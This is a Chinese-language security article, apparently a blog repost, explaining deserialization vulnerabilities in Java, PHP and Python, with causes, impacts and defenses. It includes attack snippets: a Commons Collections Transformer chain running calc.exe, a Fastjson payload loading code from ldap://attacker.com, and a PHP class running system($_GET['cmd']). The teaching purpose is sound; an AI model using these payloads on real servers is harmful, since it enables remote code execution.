反序列化漏洞原理剖析:从攻击到防御

admin 2025年4月9日22:17:01评论9 views字数 3845阅读12分49秒阅读模式
反序列化漏洞原理剖析:从攻击到防御

点击上方蓝字关注我们

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

在安全测试中,反序列化漏洞(Deserialization Vulnerability)因其高危害性和隐蔽性,成为近年来攻击者利用的最为频繁的漏洞类型之一,log4j2、fastjson等知名应用的漏洞中都不乏它的身影。本文将从原理、危害、利用方式及防御措施等方面,带大家详细了解这一漏洞。

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

什么是序列化与反序列化?

  • 序列化(Serialization):将对象(如程序中的数据结构、类实例等)转换为可存储或传输的格式(如JSON、XML、二进制流等)。例如,保存用户会话状态或传输数据时常用此技术。 

  • 反序列化(Deserialization):将序列化后的数据还原为原始对象的过程。例如,服务器接收客户端发送的序列化数据后,需反序列化以恢复对象状态。

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

反序列化漏洞的成因

漏洞的核心在于:反序列化过程中,攻击者可控的恶意数据被程序信任并还原为对象。当反序列化逻辑未对输入进行严格验证时,攻击者可构造恶意数据,触发非预期的代码执行或数据篡改。  

常见风险场景:  

  • 未验证输入来源:直接反序列化用户提交的数据。 

  • 依赖不安全的反序列化库:如Java的ObjectInputStream、PHP的unserialize()等。 

  • 存在危险类/方法:反序列化时自动调用类的readObject()、__wakeup()等方法,攻击者可能通过构造恶意类实现代码执行。

1.未验证输入来源 

场景:服务端直接反序列化客户端未经验证的输入数据。 

案例:某Java Web应用接收客户端序列化的User对象数据,未做签名校验直接反序列化。

// 漏洞代码示例public class UserController {    public void processUserData(byte[] data) {        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {            User user = (User) ois.readObject(); // 直接反序列化用户输入            // 处理用户数据...        }    }}

攻击方式:攻击者构造恶意序列化数据(如包含Runtime.exec()调用链的Payload),替换正常User对象发送给服务端。服务端反序列化时触发恶意代码。

2.依赖不安全的反序列化库

场景:使用存在设计缺陷的序列化库,或未及时更新已知漏洞的第三方库。  

案例1:Apache Commons Collections (CVE-2015-4852) 

该库的Transformer接口允许链式调用方法,攻击者可构造恶意调用链实现RCE。

// 恶意Transformer链构造示例Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod"new Class[]{String.classClass[].class}, new Object[]{"getRuntime"null}),    new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, new Object[]{nullnull}),    new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc.exe"})};ChainedTransformer chain = new ChainedTransformer(transformers);

攻击效果:当包含此链的序列化数据被反序列化时,会执行calc.exe(弹出计算器)。

案例2:Fastjson反序列化漏洞(CVE-2022-25845) 

Fastjson的autoType功能允许指定任意类,攻击者利用此特性加载恶意类。

// 恶意JSON数据{  "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "ldap://attacker.com/Exploit",  "autoCommit": true}

攻击效果:服务端解析JSON时,触发JNDI注入,加载远程恶意代码。

3.存在危险类/方法

场景:反序列化过程中自动调用类中的特定方法(如readObject()、__wakeup()),这些方法可能被重写为危险逻辑。  

案例1:Java的readObject()方法 

若类重写readObject()且包含不安全操作,反序列化时会自动执行。

public class DangerousClass implements Serializable {    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {        in.defaultReadObject();        Runtime.getRuntime().exec("恶意命令"); // 反序列化时自动执行    }}

攻击方式:诱导服务端反序列化包含DangerousClass的数据。

案例2:PHP的__destruct()魔术方法 

PHP反序列化时,若类定义了__destruct()方法,对象销毁时会自动调用该方法。

classMaliciousClass{    public function__destruct() {        system($_GET['cmd']); // 对象销毁时执行系统命令    }}// 攻击Payload$data serialize(new MaliciousClass());// 发送$data至服务端,触发反序列化

4.其它原因

  • 日志中的序列化数据:若日志记录敏感序列化数据(如Java异常堆栈中的HexDump),攻击者可能从日志提取并重放篡改后的数据。 

  • 缓存数据污染:缓存系统存储未经验证的序列化数据,攻击者篡改缓存实现持久化攻击。

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

漏洞危害

  • 远程代码执行(RCE)

    攻击者通过反序列化执行系统命令,直接控制服务器。 经典案例:Apache Struts2、Fastjson等框架的反序列化漏洞。  

  • 数据篡改与泄露

    修改反序列化后的对象属性,绕过身份验证或窃取敏感数据。 

  • 拒绝服务攻击(DoS)

    构造畸形数据导致程序崩溃,如触发无限循环或内存溢出。

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

典型利用方式

以Java反序列化漏洞为例,典型攻击链如下:  

  • 构造恶意对象:攻击者编写一个包含恶意代码的类(如执行系统命令)。 

  • 生成序列化数据:将该类序列化为二进制数据。 

  • 发送恶意数据:将数据提交至目标服务器。 

  • 触发漏洞:服务器反序列化数据时,自动执行恶意代码。 

示例攻击(利用Apache Commons Collections库):

// 构造恶意命令执行链Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", ...),    new InvokerTransformer("exec", ...)};ChainedTransformer chain = new ChainedTransformer(transformers);// 序列化并发送给目标服务器byte[] payload = serialize(chain);sendToTarget(payload);
反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

常见反序列化漏洞类型

Java反序列化漏洞  

  • 依赖库问题:如Apache Commons Collections、Fastjson等。 

  • 利用工具:ysoserial、marshalsec等。 

PHP反序列化漏洞 

  • 通过魔术方法(如__wakeup(), __destruct())触发恶意逻辑。 

  • 案例:ThinkPHP框架历史漏洞。 

Python反序列化漏洞

  • 使用pickle模块时,攻击者可构造__reduce__方法执行命令

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

防御措施

  • 避免反序列化不可信数据:优先使用JSON、XML等安全数据格式。 

  • 白名单验证:限制反序列化的类,如Java中可通过ObjectInputFilter设置白名单。 

  • 使用安全替代方案: 

    • Java:使用Jackson、Gson等库替代ObjectInputStream。 

    • PHP:避免unserialize(),改用json_decode()。

  •  最小化权限:运行反序列化代码的进程应遵循最小权限原则。 

  • 依赖库更新:及时修复已知漏洞的第三方库(如Log4j、Fastjson)。 

  • 输入过滤与日志监控:对反序列化操作进行异常检测和日志记录

反序列化漏洞原理剖析:从攻击到防御
反序列化漏洞原理剖析:从攻击到防御

总结

反序列化漏洞的本质是程序对“数据还原为对象”这一过程缺乏安全控制。开发者在设计序列化/反序列化功能时,需始终遵循“不信任任何输入”的原则,结合安全编码实践和防护技术,才能有效避免此类漏洞。

原文始发于微信公众号(星尘安全):反序列化漏洞原理剖析:从攻击到防御

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月9日22:17:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化漏洞原理剖析:从攻击到防御https://cn-sec.com/archives/3934377.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息